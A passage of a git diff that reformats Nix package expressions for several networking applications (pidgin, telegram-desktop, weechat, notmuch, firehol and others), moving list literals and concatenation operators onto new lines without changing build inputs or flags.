+    name: _: lib.nameValuePair (kebabToCamel name) (fetchurl imagesVersions.${name})
+  ) imagesVersions);
 
   meta = baseMeta;
 }
diff --git a/pkgs/applications/networking/cluster/rke2/builder.nix b/pkgs/applications/networking/cluster/rke2/builder.nix
index d4c521bffe22..61089db4a10b 100644
--- a/pkgs/applications/networking/cluster/rke2/builder.nix
+++ b/pkgs/applications/networking/cluster/rke2/builder.nix
@@ -148,7 +148,8 @@ buildGoModule (finalAttrs: {
         };
       }
       // moduleTests;
-  } // (lib.mapAttrs (_: value: fetchurl value) imagesVersions);
+  }
+  // (lib.mapAttrs (_: value: fetchurl value) imagesVersions);
 
   meta = with lib; {
     homepage = "https://github.com/rancher/rke2";
diff --git a/pkgs/applications/networking/cluster/spark/default.nix b/pkgs/applications/networking/cluster/spark/default.nix
index a2472525b122..f2d89b741fd8 100644
--- a/pkgs/applications/networking/cluster/spark/default.nix
+++ b/pkgs/applications/networking/cluster/spark/default.nix
@@ -83,7 +83,8 @@ let
           kamilchm
           illustris
         ];
-      } // extraMeta;
+      }
+      // extraMeta;
     });
 in
 {
diff --git a/pkgs/applications/networking/firehol/default.nix b/pkgs/applications/networking/firehol/default.nix
index bc358bc4d036..7868fa3f3219 100644
--- a/pkgs/applications/networking/firehol/default.nix
+++ b/pkgs/applications/networking/firehol/default.nix
@@ -73,7 +73,8 @@ stdenv.mkDerivation rec {
     "--disable-doc"
     "--disable-man"
     "--disable-update-ipsets"
-  ] ++ lib.optionals onlyQOS [ "--disable-firehol" ];
+  ]
+  ++ lib.optionals onlyQOS [ "--disable-firehol" ];
 
   meta = with lib; {
     description = "Firewall for humans";
diff --git a/pkgs/applications/networking/hpmyroom/default.nix b/pkgs/applications/networking/hpmyroom/default.nix
index fd68b718d40b..38bab9d0ce62 100644
--- a/pkgs/applications/networking/hpmyroom/default.nix
+++ b/pkgs/applications/networking/hpmyroom/default.nix
@@ -36,29 +36,28 @@ mkDerivation rec {
     autoPatchelfHook
   ];
 
-  buildInputs =
-    [
-      libuuid
-      libXtst
-      libXScrnSaver
-      libXfixes
-      alsa-lib
-      freetype
-      fontconfig
-      libXext
-      libGL
-      libpng
-      libxcb
-      libpulseaudio
-      libdrm
-      glib # For libgobject
-      stdenv.cc.cc # For libstdc++
-      xorg.libX11
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-    ]);
+  buildInputs = [
+    libuuid
+    libXtst
+    libXScrnSaver
+    libXfixes
+    alsa-lib
+    freetype
+    fontconfig
+    libXext
+    libGL
+    libpng
+    libxcb
+    libpulseaudio
+    libdrm
+    glib # For libgobject
+    stdenv.cc.cc # For libstdc++
+    xorg.libX11
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+  ]);
 
   unpackPhase = ''
     rpmextract $src
diff --git a/pkgs/applications/networking/instant-messengers/bitlbee/default.nix b/pkgs/applications/networking/instant-messengers/bitlbee/default.nix
index b1cac93af625..7014d5ba3a6c 100644
--- a/pkgs/applications/networking/instant-messengers/bitlbee/default.nix
+++ b/pkgs/applications/networking/instant-messengers/bitlbee/default.nix
@@ -26,25 +26,23 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optional doCheck check;
 
-  buildInputs =
-    [
-      gnutls
-      libotr
-      python3
-    ]
-    ++ lib.optional enableLibPurple pidgin
-    ++ lib.optional enablePam pam;
+  buildInputs = [
+    gnutls
+    libotr
+    python3
+  ]
+  ++ lib.optional enableLibPurple pidgin
+  ++ lib.optional enablePam pam;
 
   propagatedBuildInputs = [ glib ];
 
-  configureFlags =
-    [
-      "--otr=1"
-      "--ssl=gnutls"
-      "--pidfile=/var/lib/bitlbee/bitlbee.pid"
-    ]
-    ++ lib.optional enableLibPurple "--purple=1"
-    ++ lib.optional enablePam "--pam=1";
+  configureFlags = [
+    "--otr=1"
+    "--ssl=gnutls"
+    "--pidfile=/var/lib/bitlbee/bitlbee.pid"
+  ]
+  ++ lib.optional enableLibPurple "--purple=1"
+  ++ lib.optional enablePam "--pam=1";
 
   patches = [
     # This should be dropped once the issue is fixed upstream.
diff --git a/pkgs/applications/networking/instant-messengers/gajim/default.nix b/pkgs/applications/networking/instant-messengers/gajim/default.nix
index 76e575fc1afd..2ac8aa22808f 100644
--- a/pkgs/applications/networking/instant-messengers/gajim/default.nix
+++ b/pkgs/applications/networking/instant-messengers/gajim/default.nix
@@ -49,25 +49,24 @@ python3.pkgs.buildPythonApplication rec {
 
   format = "pyproject";
 
-  buildInputs =
-    [
-      gtk4
-      adwaita-icon-theme
-      gtksourceview5
-      glib-networking
-    ]
-    ++ lib.optionals enableJingle [
-      farstream
-      gstreamer
-      gst-plugins-base
-      gst-libav
-      gst-plugins-good
-      libnice
-    ]
-    ++ lib.optional enableSecrets libsecret
-    ++ lib.optional enableSpelling gspell
-    ++ lib.optional enableUPnP gupnp-igd
-    ++ lib.optional enableAppIndicator libappindicator-gtk3;
+  buildInputs = [
+    gtk4
+    adwaita-icon-theme
+    gtksourceview5
+    glib-networking
+  ]
+  ++ lib.optionals enableJingle [
+    farstream
+    gstreamer
+    gst-plugins-base
+    gst-libav
+    gst-plugins-good
+    libnice
+  ]
+  ++ lib.optional enableSecrets libsecret
+  ++ lib.optional enableSpelling gspell
+  ++ lib.optional enableUPnP gupnp-igd
+  ++ lib.optional enableAppIndicator libappindicator-gtk3;
 
   nativeBuildInputs = [
     gettext
diff --git a/pkgs/applications/networking/instant-messengers/jami/default.nix b/pkgs/applications/networking/instant-messengers/jami/default.nix
index ba1c6d69c01c..bf11d9fecd50 100644
--- a/pkgs/applications/networking/instant-messengers/jami/default.nix
+++ b/pkgs/applications/networking/instant-messengers/jami/default.nix
@@ -110,7 +110,8 @@ stdenv.mkDerivation rec {
       "--disable-resample"
       "--disable-libwebrtc"
       "--with-gnutls=yes"
-    ] ++ lib.optionals stdenv.hostPlatform.isLinux [ "--enable-epoll" ];
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [ "--enable-epoll" ];
 
     buildInputs = old.buildInputs ++ [ gnutls ];
   });
@@ -283,7 +284,8 @@ stdenv.mkDerivation rec {
     qtpositioning
     qtsvg
     qtwebchannel
-  ] ++ lib.optionals withWebengine [ qtwebengine ];
+  ]
+  ++ lib.optionals withWebengine [ qtwebengine ];
 
   cmakeFlags = lib.optionals (!withWebengine) [ "-DWITH_WEBENGINE=false" ];
 
diff --git a/pkgs/applications/networking/instant-messengers/pantalaimon/default.nix b/pkgs/applications/networking/instant-messengers/pantalaimon/default.nix
index 1addd4fe76db..105f579db066 100644
--- a/pkgs/applications/networking/instant-messengers/pantalaimon/default.nix
+++ b/pkgs/applications/networking/instant-messengers/pantalaimon/default.nix
@@ -22,13 +22,12 @@ python3Packages.buildPythonApplication rec {
     hash = "sha256-g+ZWarZnjlSOpD75yf53Upqj1qDlil7pdbfEsMAsjh0=";
   };
 
-  build-system =
-    [
-      installShellFiles
-    ]
-    ++ (with python3Packages; [
-      setuptools
-    ]);
+  build-system = [
+    installShellFiles
+  ]
+  ++ (with python3Packages; [
+    setuptools
+  ]);
 
   pythonRelaxDeps = [
     "matrix-nio"
diff --git a/pkgs/applications/networking/instant-messengers/pidgin/default.nix b/pkgs/applications/networking/instant-messengers/pidgin/default.nix
index 725fb267f615..f3878220f640 100644
--- a/pkgs/applications/networking/instant-messengers/pidgin/default.nix
+++ b/pkgs/applications/networking/instant-messengers/pidgin/default.nix
@@ -99,46 +99,44 @@ let
       ]
       ++ lib.optional stdenv.hostPlatform.isDarwin gtk2-x11;
 
-    propagatedBuildInputs =
-      [
-        pkg-config
-        gettext
-      ]
-      ++ (with perlPackages; [
-        perl
-        XMLParser
-      ])
-      ++ lib.optional stdenv.hostPlatform.isLinux gtk2
-      ++ lib.optional stdenv.hostPlatform.isDarwin gtk2-x11;
+    propagatedBuildInputs = [
+      pkg-config
+      gettext
+    ]
+    ++ (with perlPackages; [
+      perl
+      XMLParser
+    ])
+    ++ lib.optional stdenv.hostPlatform.isLinux gtk2
+    ++ lib.optional stdenv.hostPlatform.isDarwin gtk2-x11;
 
     patches = [
       ./add-search-path.patch
       ./pidgin-makefile.patch
     ];
 
-    configureFlags =
-      [
-        "--with-nspr-includes=${nspr.dev}/include/nspr"
-        "--with-nspr-libs=${nspr.out}/lib"
-        "--with-nss-includes=${nss.dev}/include/nss"
-        "--with-nss-libs=${nss.out}/lib"
-        "--with-ncurses-headers=${ncurses.dev}/include"
-        "--with-system-ssl-certs=${cacert}/etc/ssl/certs"
-        "--disable-meanwhile"
-        "--disable-nm"
-        "--disable-tcl"
-        "--disable-gevolution"
-      ]
-      ++ lib.optionals withCyrus_sasl [ "--enable-cyrus-sasl=yes" ]
-      ++ lib.optionals withGnutls [
-        "--enable-gnutls=yes"
-        "--enable-nss=no"
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        "--disable-gtkspell"
-        "--disable-vv"
-      ]
-      ++ lib.optionals stdenv.cc.isClang [ "CFLAGS=-Wno-error=int-conversion" ];
+    configureFlags = [
+      "--with-nspr-includes=${nspr.dev}/include/nspr"
+      "--with-nspr-libs=${nspr.out}/lib"
+      "--with-nss-includes=${nss.dev}/include/nss"
+      "--with-nss-libs=${nss.out}/lib"
+      "--with-ncurses-headers=${ncurses.dev}/include"
+      "--with-system-ssl-certs=${cacert}/etc/ssl/certs"
+      "--disable-meanwhile"
+      "--disable-nm"
+      "--disable-tcl"
+      "--disable-gevolution"
+    ]
+    ++ lib.optionals withCyrus_sasl [ "--enable-cyrus-sasl=yes" ]
+    ++ lib.optionals withGnutls [
+      "--enable-gnutls=yes"
+      "--enable-nss=no"
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      "--disable-gtkspell"
+      "--disable-vv"
+    ]
+    ++ lib.optionals stdenv.cc.isClang [ "CFLAGS=-Wno-error=int-conversion" ];
 
     enableParallelBuilding = true;
 
diff --git a/pkgs/applications/networking/instant-messengers/profanity/default.nix b/pkgs/applications/networking/instant-messengers/profanity/default.nix
index fa4ca8190625..82f4dafc83d5 100644
--- a/pkgs/applications/networking/instant-messengers/profanity/default.nix
+++ b/pkgs/applications/networking/instant-messengers/profanity/default.nix
@@ -61,50 +61,48 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      cmocka
-      curl
-      expat
-      expect
-      glib
-      libstrophe
-      libmicrohttpd
-      libotr
-      libuuid
-      ncurses
-      openssl
-      readline
-      sqlite
-    ]
-    ++ lib.optionals autoAwaySupport [
-      libXScrnSaver
-      libX11
-    ]
-    ++ lib.optionals notifySupport [
-      libnotify
-      gdk-pixbuf
-    ]
-    ++ lib.optionals omemoSupport [
-      libsignal-protocol-c
-      libgcrypt
-      qrencode
-    ]
-    ++ lib.optionals pgpSupport [ gpgme ]
-    ++ lib.optionals pythonPluginSupport [ python3 ]
-    ++ lib.optionals traySupport [ gtk3 ];
+  buildInputs = [
+    cmocka
+    curl
+    expat
+    expect
+    glib
+    libstrophe
+    libmicrohttpd
+    libotr
+    libuuid
+    ncurses
+    openssl
+    readline
+    sqlite
+  ]
+  ++ lib.optionals autoAwaySupport [
+    libXScrnSaver
+    libX11
+  ]
+  ++ lib.optionals notifySupport [
+    libnotify
+    gdk-pixbuf
+  ]
+  ++ lib.optionals omemoSupport [
+    libsignal-protocol-c
+    libgcrypt
+    qrencode
+  ]
+  ++ lib.optionals pgpSupport [ gpgme ]
+  ++ lib.optionals pythonPluginSupport [ python3 ]
+  ++ lib.optionals traySupport [ gtk3 ];
 
   # Enable feature flags, so that build fail if libs are missing
-  configureFlags =
-    [
-      "--enable-c-plugins"
-      "--enable-otr"
-    ]
-    ++ lib.optionals notifySupport [ "--enable-notifications" ]
-    ++ lib.optionals traySupport [ "--enable-icons-and-clipboard" ]
-    ++ lib.optionals pgpSupport [ "--enable-pgp" ]
-    ++ lib.optionals pythonPluginSupport [ "--enable-python-plugins" ]
-    ++ lib.optionals omemoSupport [ "--enable-omemo" ];
+  configureFlags = [
+    "--enable-c-plugins"
+    "--enable-otr"
+  ]
+  ++ lib.optionals notifySupport [ "--enable-notifications" ]
+  ++ lib.optionals traySupport [ "--enable-icons-and-clipboard" ]
+  ++ lib.optionals pgpSupport [ "--enable-pgp" ]
+  ++ lib.optionals pythonPluginSupport [ "--enable-python-plugins" ]
+  ++ lib.optionals omemoSupport [ "--enable-omemo" ];
 
   doCheck = true;
 
diff --git a/pkgs/applications/networking/instant-messengers/psi-plus/default.nix b/pkgs/applications/networking/instant-messengers/psi-plus/default.nix
index 95d847a77b9f..ea142659ed68 100644
--- a/pkgs/applications/networking/instant-messengers/psi-plus/default.nix
+++ b/pkgs/applications/networking/instant-messengers/psi-plus/default.nix
@@ -60,47 +60,45 @@ mkDerivation rec {
     "-DBUILD_PSIMEDIA=${if enablePsiMedia then "ON" else "OFF"}"
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      qttools
-    ]
-    ++ lib.optionals enablePsiMedia [
-      pkg-config
-    ];
+  nativeBuildInputs = [
+    cmake
+    qttools
+  ]
+  ++ lib.optionals enablePsiMedia [
+    pkg-config
+  ];
 
-  buildInputs =
-    [
-      qtbase
-      qtmultimedia
-      qtimageformats
-      qtx11extras
-      libidn
-      qca-qt5
-      libXScrnSaver
-      hunspell
-      libsecret
-      libgcrypt
-      libgpg-error
-      usrsctp
-      qtkeychain
-    ]
-    ++ lib.optionals voiceMessagesSupport [
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-good
-    ]
-    ++ lib.optionals enablePlugins [
-      html-tidy
-      http-parser
-      libotr
-      libomemo-c
-    ]
-    ++ lib.optionals (chatType == "webkit") [
-      qtwebkit
-    ]
-    ++ lib.optionals (chatType == "webengine") [
-      qtwebengine
-    ];
+  buildInputs = [
+    qtbase
+    qtmultimedia
+    qtimageformats
+    qtx11extras
+    libidn
+    qca-qt5
+    libXScrnSaver
+    hunspell
+    libsecret
+    libgcrypt
+    libgpg-error
+    usrsctp
+    qtkeychain
+  ]
+  ++ lib.optionals voiceMessagesSupport [
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-good
+  ]
+  ++ lib.optionals enablePlugins [
+    html-tidy
+    http-parser
+    libotr
+    libomemo-c
+  ]
+  ++ lib.optionals (chatType == "webkit") [
+    qtwebkit
+  ]
+  ++ lib.optionals (chatType == "webengine") [
+    qtwebengine
+  ];
 
   preFixup = lib.optionalString voiceMessagesSupport ''
     qtWrapperArgs+=(
diff --git a/pkgs/applications/networking/instant-messengers/ripcord/default.nix b/pkgs/applications/networking/instant-messengers/ripcord/default.nix
index fdfa1fd0184e..97e66ff4a258 100644
--- a/pkgs/applications/networking/instant-messengers/ripcord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/ripcord/default.nix
@@ -42,26 +42,25 @@ mkDerivation rec {
     desktop-file-utils
     imagemagick
   ];
-  buildInputs =
-    [
-      libsodium
-      libopus
-      libGL
-      alsa-lib
-    ]
-    ++ [
-      qtbase
-      qtsvg
-      qtmultimedia
-      qtwebsockets
-      qtimageformats
-    ]
-    ++ (with xorg; [
-      libX11
-      libXScrnSaver
-      libXcursor
-      xkeyboardconfig
-    ]);
+  buildInputs = [
+    libsodium
+    libopus
+    libGL
+    alsa-lib
+  ]
+  ++ [
+    qtbase
+    qtsvg
+    qtmultimedia
+    qtwebsockets
+    qtimageformats
+  ]
+  ++ (with xorg; [
+    libX11
+    libXScrnSaver
+    libXcursor
+    xkeyboardconfig
+  ]);
 
   fontsConf = makeFontsConf {
     fontDirectories = [ twemoji-color-font ];
diff --git a/pkgs/applications/networking/instant-messengers/telegram/telegram-desktop/default.nix b/pkgs/applications/networking/instant-messengers/telegram/telegram-desktop/default.nix
index d33cdaf0e5c7..cbd103689659 100644
--- a/pkgs/applications/networking/instant-messengers/telegram/telegram-desktop/default.nix
+++ b/pkgs/applications/networking/instant-messengers/telegram/telegram-desktop/default.nix
@@ -20,26 +20,24 @@ stdenv.mkDerivation (finalAttrs: {
 
   inherit unwrapped;
 
-  nativeBuildInputs =
-    [
-      wrapQtAppsHook
-    ]
-    ++ lib.optionals withWebkit [
-      wrapGAppsHook3
-    ];
+  nativeBuildInputs = [
+    wrapQtAppsHook
+  ]
+  ++ lib.optionals withWebkit [
+    wrapGAppsHook3
+  ];
 
-  buildInputs =
-    [
-      qtbase
-      qtimageformats
-      qtsvg
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qtwayland
-    ]
-    ++ lib.optionals withWebkit [
-      glib-networking
-    ];
+  buildInputs = [
+    qtbase
+    qtimageformats
+    qtsvg
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qtwayland
+  ]
+  ++ lib.optionals withWebkit [
+    glib-networking
+  ];
 
   qtWrapperArgs = lib.optionals (stdenv.hostPlatform.isLinux && withWebkit) [
     "--prefix"
diff --git a/pkgs/applications/networking/instant-messengers/telegram/telegram-desktop/tg_owt.nix b/pkgs/applications/networking/instant-messengers/telegram/telegram-desktop/tg_owt.nix
index 2efad14fef67..9549be7f8e9c 100644
--- a/pkgs/applications/networking/instant-messengers/telegram/telegram-desktop/tg_owt.nix
+++ b/pkgs/applications/networking/instant-messengers/telegram/telegram-desktop/tg_owt.nix
@@ -69,35 +69,34 @@ stdenv.mkDerivation {
     python3
   ];
 
-  propagatedBuildInputs =
-    [
-      libjpeg
-      openssl
-      libopus
-      ffmpeg_6
-      openh264
-      crc32c
-      libvpx
-      abseil-cpp
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libX11
-      libXtst
-      libXcomposite
-      libXdamage
-      libXext
-      libXrender
-      libXrandr
-      libXi
-      glib
-      pipewire
-      libgbm
-      libdrm
-      libGL
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_15
-    ];
+  propagatedBuildInputs = [
+    libjpeg
+    openssl
+    libopus
+    ffmpeg_6
+    openh264
+    crc32c
+    libvpx
+    abseil-cpp
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libX11
+    libXtst
+    libXcomposite
+    libXdamage
+    libXext
+    libXrender
+    libXrandr
+    libXi
+    glib
+    pipewire
+    libgbm
+    libdrm
+    libGL
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_15
+  ];
 
   passthru.updateScript = unstableGitUpdater { };
 
diff --git a/pkgs/applications/networking/instant-messengers/telegram/telegram-desktop/unwrapped.nix b/pkgs/applications/networking/instant-messengers/telegram/telegram-desktop/unwrapped.nix
index d983f3a748c3..61e63d2fddb4 100644
--- a/pkgs/applications/networking/instant-messengers/telegram/telegram-desktop/unwrapped.nix
+++ b/pkgs/applications/networking/instant-messengers/telegram/telegram-desktop/unwrapped.nix
@@ -73,51 +73,49 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail '"libpulse.so.0"' '"${lib.getLib libpulseaudio}/lib/libpulse.so.0"'
   '';
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-      ninja
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # to build bundled libdispatch
-      clang
-      gobject-introspection
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+    ninja
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # to build bundled libdispatch
+    clang
+    gobject-introspection
+  ];
 
-  buildInputs =
-    [
-      qtbase
-      qtimageformats
-      qtsvg
-      lz4
-      xxHash
-      ffmpeg_6
-      openalSoft
-      minizip
-      libopus
-      range-v3
-      tl-expected
-      rnnoise
-      tg_owt
-      microsoft-gsl
-      boost
-      ada
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      protobuf
-      qtwayland
-      kcoreaddons
-      alsa-lib
-      libpulseaudio
-      hunspell
-      jemalloc
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_15
-      libicns
-    ];
+  buildInputs = [
+    qtbase
+    qtimageformats
+    qtsvg
+    lz4
+    xxHash
+    ffmpeg_6
+    openalSoft
+    minizip
+    libopus
+    range-v3
+    tl-expected
+    rnnoise
+    tg_owt
+    microsoft-gsl
+    boost
+    ada
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    protobuf
+    qtwayland
+    kcoreaddons
+    alsa-lib
+    libpulseaudio
+    hunspell
+    jemalloc
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_15
+    libicns
+  ];
 
   dontWrapQtApps = true;
 
diff --git a/pkgs/applications/networking/irc/quassel/default.nix b/pkgs/applications/networking/irc/quassel/default.nix
index e87c9896370a..9fffbd27288c 100644
--- a/pkgs/applications/networking/irc/quassel/default.nix
+++ b/pkgs/applications/networking/irc/quassel/default.nix
@@ -63,43 +63,41 @@ in
     cmake
     makeWrapper
   ];
-  buildInputs =
-    [
-      qtbase
-      boost
-      zlib
-    ]
-    ++ lib.optionals buildCore [
-      qtscript
-      qca-qt5
-      openldap
-    ]
-    ++ lib.optionals buildClient [
-      libdbusmenu
-      phonon
-    ]
-    ++ lib.optionals (buildClient && withKDE) [
-      extra-cmake-modules
-      kconfigwidgets
-      kcoreaddons
-      knotifications
-      knotifyconfig
-      ktextwidgets
-      kwidgetsaddons
-      kxmlgui
-    ];
+  buildInputs = [
+    qtbase
+    boost
+    zlib
+  ]
+  ++ lib.optionals buildCore [
+    qtscript
+    qca-qt5
+    openldap
+  ]
+  ++ lib.optionals buildClient [
+    libdbusmenu
+    phonon
+  ]
+  ++ lib.optionals (buildClient && withKDE) [
+    extra-cmake-modules
+    kconfigwidgets
+    kcoreaddons
+    knotifications
+    knotifyconfig
+    ktextwidgets
+    kwidgetsaddons
+    kxmlgui
+  ];
 
-  cmakeFlags =
-    [
-      "-DEMBED_DATA=OFF"
-      "-DUSE_QT5=ON"
-    ]
-    ++ edf static "STATIC"
-    ++ edf monolithic "WANT_MONO"
-    ++ edf enableDaemon "WANT_CORE"
-    ++ edf enableDaemon "WITH_LDAP"
-    ++ edf client "WANT_QTCLIENT"
-    ++ edf withKDE "WITH_KDE";
+  cmakeFlags = [
+    "-DEMBED_DATA=OFF"
+    "-DUSE_QT5=ON"
+  ]
+  ++ edf static "STATIC"
+  ++ edf monolithic "WANT_MONO"
+  ++ edf enableDaemon "WANT_CORE"
+  ++ edf enableDaemon "WITH_LDAP"
+  ++ edf client "WANT_QTCLIENT"
+  ++ edf withKDE "WITH_KDE";
 
   dontWrapQtApps = true;
 
diff --git a/pkgs/applications/networking/irc/weechat/default.nix b/pkgs/applications/networking/irc/weechat/default.nix
index b7d715ea4ad9..978b59a0c503 100644
--- a/pkgs/applications/networking/irc/weechat/default.nix
+++ b/pkgs/applications/networking/irc/weechat/default.nix
@@ -92,7 +92,8 @@ let
         libxml2
         pcre2
         libargon2
-      ] ++ lib.optional stdenv.hostPlatform.isLinux systemd;
+      ]
+      ++ lib.optional stdenv.hostPlatform.isLinux systemd;
     }
   ];
   enabledPlugins = builtins.filter (p: p.enabled) plugins;
@@ -116,43 +117,43 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "man"
-  ] ++ map (p: p.name) enabledPlugins;
+  ]
+  ++ map (p: p.name) enabledPlugins;
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "ENABLE_MAN" true)
-      (lib.cmakeBool "ENABLE_DOC" true)
-      (lib.cmakeBool "ENABLE_DOC_INCOMPLETE" true)
-      (lib.cmakeBool "ENABLE_TESTS" enableTests)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.cmakeFeature "ICONV_LIBRARY" "${libiconv}/lib/libiconv.dylib")
-    ]
-    ++ map (p: lib.cmakeBool p.cmakeFlag p.enabled) plugins;
+  cmakeFlags = [
+    (lib.cmakeBool "ENABLE_MAN" true)
+    (lib.cmakeBool "ENABLE_DOC" true)
+    (lib.cmakeBool "ENABLE_DOC_INCOMPLETE" true)
+    (lib.cmakeBool "ENABLE_TESTS" enableTests)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (lib.cmakeFeature "ICONV_LIBRARY" "${libiconv}/lib/libiconv.dylib")
+  ]
+  ++ map (p: lib.cmakeBool p.cmakeFlag p.enabled) plugins;
 
   nativeBuildInputs = [
     cmake
     pkg-config
     asciidoctor
-  ] ++ lib.optional enableTests cpputest;
+  ]
+  ++ lib.optional enableTests cpputest;
 
-  buildInputs =
-    [
-      ncurses
-      openssl
-      aspell
-      cjson
-      gnutls
-      gettext
-      zlib
-      curl
-      libgcrypt
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libresolv
-    ]
-    ++ lib.concatMap (p: p.buildInputs) enabledPlugins
-    ++ extraBuildInputs;
+  buildInputs = [
+    ncurses
+    openssl
+    aspell
+    cjson
+    gnutls
+    gettext
+    zlib
+    curl
+    libgcrypt
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libresolv
+  ]
+  ++ lib.concatMap (p: p.buildInputs) enabledPlugins
+  ++ extraBuildInputs;
 
   hardeningEnable = [ "pie" ];
 
diff --git a/pkgs/applications/networking/libcoap/default.nix b/pkgs/applications/networking/libcoap/default.nix
index bef56def692c..239ef8516a7f 100644
--- a/pkgs/applications/networking/libcoap/default.nix
+++ b/pkgs/applications/networking/libcoap/default.nix
@@ -23,24 +23,24 @@ stdenv.mkDerivation rec {
     fetchSubmodules = true;
     hash = "sha256-QNrsR6VarZ2favvTZ9pMhVafwF2fOjYLKcyNqZyUl6s=";
   };
-  nativeBuildInputs =
-    [
-      automake
-      autoconf
-      which
-      libtool
-      pkg-config
-    ]
-    ++ lib.optional withTLS gnutls
-    ++ lib.optionals withDocs [
-      doxygen
-      asciidoc
-    ];
+  nativeBuildInputs = [
+    automake
+    autoconf
+    which
+    libtool
+    pkg-config
+  ]
+  ++ lib.optional withTLS gnutls
+  ++ lib.optionals withDocs [
+    doxygen
+    asciidoc
+  ];
   preConfigure = "./autogen.sh";
-  configureFlags =
-    [ "--disable-shared" ]
-    ++ lib.optional (!withDocs) "--disable-documentation"
-    ++ lib.optional withTLS "--enable-dtls";
+  configureFlags = [
+    "--disable-shared"
+  ]
+  ++ lib.optional (!withDocs) "--disable-documentation"
+  ++ lib.optional withTLS "--enable-dtls";
   meta = with lib; {
     homepage = "https://github.com/obgm/libcoap";
     description = "CoAP (RFC 7252) implementation in C";
diff --git a/pkgs/applications/networking/mailreaders/mailnag/default.nix b/pkgs/applications/networking/mailreaders/mailnag/default.nix
index 77aa89e029a1..caf13bf39239 100644
--- a/pkgs/applications/networking/mailreaders/mailnag/default.nix
+++ b/pkgs/applications/networking/mailreaders/mailnag/default.nix
@@ -43,7 +43,8 @@ python3Packages.buildPythonApplication rec {
     gst_all_1.gst-plugins-good
     gst_all_1.gst-plugins-bad
     libsecret
-  ] ++ pluginsDeps;
+  ]
+  ++ pluginsDeps;
 
   nativeBuildInputs = [
     gettext
diff --git a/pkgs/applications/networking/mailreaders/notmuch/default.nix b/pkgs/applications/networking/mailreaders/notmuch/default.nix
index 0535199e31e7..f5eaf3a71087 100644
--- a/pkgs/applications/networking/mailreaders/notmuch/default.nix
+++ b/pkgs/applications/networking/mailreaders/notmuch/default.nix
@@ -43,57 +43,53 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-uIuwKnbEa62NMT/Su0+OOSmLUfZvy+swTZ+Aw+73BOM=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      doxygen # (optional) api docs
-      pythonPackages.sphinx # (optional) documentation -> doc/INSTALL
-      texinfo # (optional) documentation -> doc/INSTALL
-      pythonPackages.cffi
-    ]
-    ++ lib.optional withEmacs emacs
-    ++ lib.optional withRuby ruby
-    ++ lib.optional withSfsexp makeWrapper;
+  nativeBuildInputs = [
+    pkg-config
+    doxygen # (optional) api docs
+    pythonPackages.sphinx # (optional) documentation -> doc/INSTALL
+    texinfo # (optional) documentation -> doc/INSTALL
+    pythonPackages.cffi
+  ]
+  ++ lib.optional withEmacs emacs
+  ++ lib.optional withRuby ruby
+  ++ lib.optional withSfsexp makeWrapper;
 
-  buildInputs =
-    [
-      gnupg # undefined dependencies
-      xapian
-      gmime3
-      talloc
-      zlib # dependencies described in INSTALL
-      perl
-      pythonPackages.python
-    ]
-    ++ lib.optional withRuby ruby
-    ++ lib.optional withSfsexp sfsexp;
+  buildInputs = [
+    gnupg # undefined dependencies
+    xapian
+    gmime3
+    talloc
+    zlib # dependencies described in INSTALL
+    perl
+    pythonPackages.python
+  ]
+  ++ lib.optional withRuby ruby
+  ++ lib.optional withSfsexp sfsexp;
 
-  postPatch =
-    ''
-      patchShebangs configure test/
+  postPatch = ''
+    patchShebangs configure test/
 
-      substituteInPlace lib/Makefile.local \
-        --replace '-install_name $(libdir)' "-install_name $out/lib"
+    substituteInPlace lib/Makefile.local \
+      --replace '-install_name $(libdir)' "-install_name $out/lib"
 
-      # do not override CFLAGS of the Makefile created by mkmf
-      substituteInPlace bindings/Makefile.local \
-        --replace 'CFLAGS="$(CFLAGS) -pipe -fno-plt -fPIC"' ""
-    ''
-    + lib.optionalString withEmacs ''
-      substituteInPlace emacs/notmuch-emacs-mua \
-        --replace 'EMACS:-emacs' 'EMACS:-${emacs}/bin/emacs' \
-        --replace 'EMACSCLIENT:-emacsclient' 'EMACSCLIENT:-${emacs}/bin/emacsclient'
-    '';
+    # do not override CFLAGS of the Makefile created by mkmf
+    substituteInPlace bindings/Makefile.local \
+      --replace 'CFLAGS="$(CFLAGS) -pipe -fno-plt -fPIC"' ""
+  ''
+  + lib.optionalString withEmacs ''
